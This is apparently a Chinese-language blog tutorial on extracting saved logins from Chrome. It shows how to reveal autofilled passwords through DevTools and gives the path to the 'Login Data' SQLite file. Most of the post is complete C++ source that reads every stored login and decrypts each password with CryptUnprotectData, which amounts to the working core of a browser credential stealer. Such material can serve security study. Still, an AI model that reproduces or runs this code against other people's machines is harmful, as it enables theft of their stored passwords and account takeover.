Chrome login information extraction and password decryption
查看浏览器已保存的密码
-
在地址栏输入chrome://settings/passwords来查看所有已保存的密码列表,搜索感兴趣的目标站点。
-
进入目标站点的登录页面,输入用户名前几位字符,让浏览器自动填充密码。右键审查元素(F12),选中密码区域,将密码字段代码的type=”password”改为type=”text”,即可查看明文密码。
获得Chrome保存的登录信息和密码破解
Chrome中保存的登录信息位置
Chrome将用户的登录信息(保存的密码被加密)保存在SQLite数据库文件中,位置如下:
C:\Users\Joker\AppData\Local\Google\Chrome\User Data\Default\Login Data
以文本方式打开Login Data
文件可以看到其头部有SQLite format 3
标记,说明其是Sqlite3
的文件。使用使用SQLiteStudio(在上篇博文有简单介绍)打开。
成功读取数据库文件保存的信息,但password段无法显示,如下图
选择Form view,查看十六进制格式,获得二次加密后的用户密码,如下图
**注:**如果Chrome正在运行,无法使用SQLiteStudio打开数据库文件Login Data,可将该文件复制后再打开
C++编程实现登录信息提取及密码破解(VS2019)
-
VS2019导入SQLite3
具体环境配置实现见之前博文C++ Basic use of sqlite3
-
头文件
CryptUnprotectData.h
1 2 3 4 5 6 7 8 9 10 11 12 13
#pragma once #ifndef _CryptUnProtectData_ #define _Crypt_UnProtectData_ #include <windows.h> #include <iostream> using namespace std; string getProfilePath(); string Password_Handle(char* input); char* U2G(const char* utf8); #endif // !CryptUnProtectData.h
包含获取存储登录信息文件路径方法(getProfilePath)和字符转换方法(U2G)和解密后密码处理方法(Password_Handle)。
-
获取路径模块
ProfilePath_Get.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
#include "CryptUnprotectData.h" #include <ShlObj_core.h> constexpr auto Get_failed = "get_ProfilePath Failed"; string getProfilePath() { char* appDataPath = (char*)malloc(sizeof(char) * MAX_PATH); if (appDataPath != NULL) { //获取Chrome 保存登录信息文件Login Data的路径 SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appDataPath); // 获取当前用户的文件系统目录C:\Users\username\AppData\Local string profilePath = appDataPath; //printf("%s\n", appDataPath); profilePath = profilePath + "\\Google\\Chrome\\User Data\\Default\\"; return profilePath; } else return Get_failed; }
SHGetFolderPathA:参考window开发文档SHGetFolderPathA function
-
执行模块
run.cpp
(包含数据库操作及密码解密)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
#include "CryptUnprotectData.h" #include <Wincrypt.h> #include "sqlite3.h" #pragma comment(lib,"crypt32.lib") #pragma warning(disable:4996) int main(int argc, char* argv[]) { sqlite3* DB = NULL; // 一个打开的数据库实例 sqlite3_stmt* stmt = NULL;// sqlite3_stmt 预编译语句对象. 由sqlite3_prepare()创建,由sqlite3_finalize()销毁 string LoginDataPath = getProfilePath() + "Login Data"; const char* path = LoginDataPath.c_str(); // Login Data sql文件的路径 char** dbResult; // 是 char ** 类型,两个*号 int nRow, nColumn;// 表的行数,列数 int index; DATA_BLOB DataOut; DATA_BLOB Dataput; LPWSTR pbtest = NULL; // 根据文件路径打开数据库连接。如果数据库不存在,则创建。 // 数据库文件的路径必须以C字符串传入。 int result = sqlite3_open(path, &DB); if (result == SQLITE_OK) { std::clog << "打开数据库连接成功\n"; //开始查询,传入的 dbResult 已经是 char **,这里又加了一个 & 取地址符,传递进去的就成了char *** const char* sql = "Select * from logins"; int result1 = sqlite3_prepare_v2(DB, sql, -1, &stmt, NULL); int result2 = sqlite3_get_table(DB, "Select * from logins", &dbResult, &nRow, &nColumn, NULL); if (result1 == SQLITE_OK && result2 == SQLITE_OK) { //查询成功 printf("表格共%d 记录!\n", nRow); printf("表格共%d 列!\n", nColumn); printf("字段名|字段值\n"); index = nColumn; for (int i = 0; i < nRow; i++) { printf("第 %d 条记录\n", i); for (int j = 0; j < nColumn; j++) { if (!(strcmp(dbResult[j], "password_value")))//如果列名为password_value,则需要对该列的列值进行解密操作 { if (sqlite3_step(stmt) == SQLITE_ROW) { //初始化加密结构DataOut BYTE* pbDataInput = (BYTE*)sqlite3_column_text(stmt, j); DWORD cbDataInput = sqlite3_column_bytes(stmt, j); DataOut.pbData = pbDataInput; DataOut.cbData = cbDataInput; } if (CryptUnprotectData(&DataOut, &pbtest, NULL, NULL, NULL, 0, &Dataput)) { string s = Password_Handle((char*)Dataput.pbData);//解密后的密码处理 strcpy(dbResult[index], (char*)s.c_str()); } else { printf("Decryption error!\n"); } } printf("字段名: %s | 字段值: %s\n", dbResult[j], U2G(dbResult[index])); index++; // dbResult 的字段值是连续的,从第0索引到第 nColumn - 1索引都是字段名称,从第 nColumn 索引开始,后面都是字段值,它把一个二维的表(传统的行列表示法)用一个扁平的形式来表示 } printf("--------------------------------------------------------------------------------\n"); } } //清理语句句柄,准备执行下一个语句 sqlite3_finalize(stmt); //到这里,不论数据库查询是否成功,都释放 char** 查询结果dbResult,使用 sqlite 提供的功能来释放 //sqlite3_free_table(dbResult); //执行会抛出断点,因为在运行过程中dbResult的地址已改变,不是最初分配给他的 //关闭数据库 sqlite3_close(DB); } else { std::clog << "打开数据库连接失败\n"; } return 0; }
这里采用了
sqlite3_prepare_v2()
执行sql语句。sqlite3_get_table()
方法用于获取数据库文件Login Data
中所有信息,方便输出。sqlite3_column_text()
方法读取某行中指定列的列值。sqlite3_column_bytes()
获得指定列列值的长度大小。CryptUnprotectData()
解密函数,其结构及功能介绍与具体使用见博文Data encryption and decryption。 -
密码处理模块
Password_Handle.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
#include "CryptUnprotectData.h" #include <algorithm> string Password_Handle(char* input) { string s = input; int* a = new int[11]; a[0] = s.find("\x1"); a[1] = s.find("\x2"); a[2] = s.find("\x3"); a[3] = s.find("\x4"); a[4] = s.find("\x5"); a[5] = s.find("\x6"); a[6] = s.find("\x7"); a[7] = s.find("\x8"); a[8] = s.find("\x9"); a[9] = s.find("\a"); a[10] = s.find("\b"); for (int i = 0; i < 11; i++) { if (a[i] == -1) { a[i] = 100; } } int n = *min_element(a, a + 11); return s.substr(0, n); }
通过解密函数解密之后得到的密码会在尾部填充一些字段乱码,由于Chrome在加密时采用分组加密,每个密码单独分组,且分组长度相同(分组长度大于最大密码长度),空余部分用不影响读取的符号填充,所以直接解密后输出会在尾部出现乱码,需要对解密后的密码进行截取,只需要前面正确的部分。
填充的乱码一般是十六进制的"\x1"—"\x9"和"\a","\b",所以进行乱码之前的密码子串的截取。
-
字符格式转换模块
UTF8_Trans.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
#include "CryptUnprotectData.h" char* U2G(const char* utf8)//字符串转换函数 { int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0); wchar_t* wstr = new wchar_t[len + 1]; memset(wstr, 0, len + 1); MultiByteToWideChar(CP_UTF8, 0, utf8, -1, wstr, len); len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL); char* str = new char[len + 1]; memset(str, 0, len + 1); WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL); if (wstr) delete[] wstr; return str; }
如果用户名或其他信息中有中文字符,直接输出会产生乱码,需要进行转码之后输出,同理如果密码中有中文字符,解密之后也需要进行格式转换后才能正确显示。
集成测试
运行run.cpp,其结果如下图:
用户信息提取成功,并获得解密后的密码。
注:如果Chrome浏览器处于打开状态可能读取信息失败!!!
C++工程项目文件(包含Opera浏览器解密)已上传到github。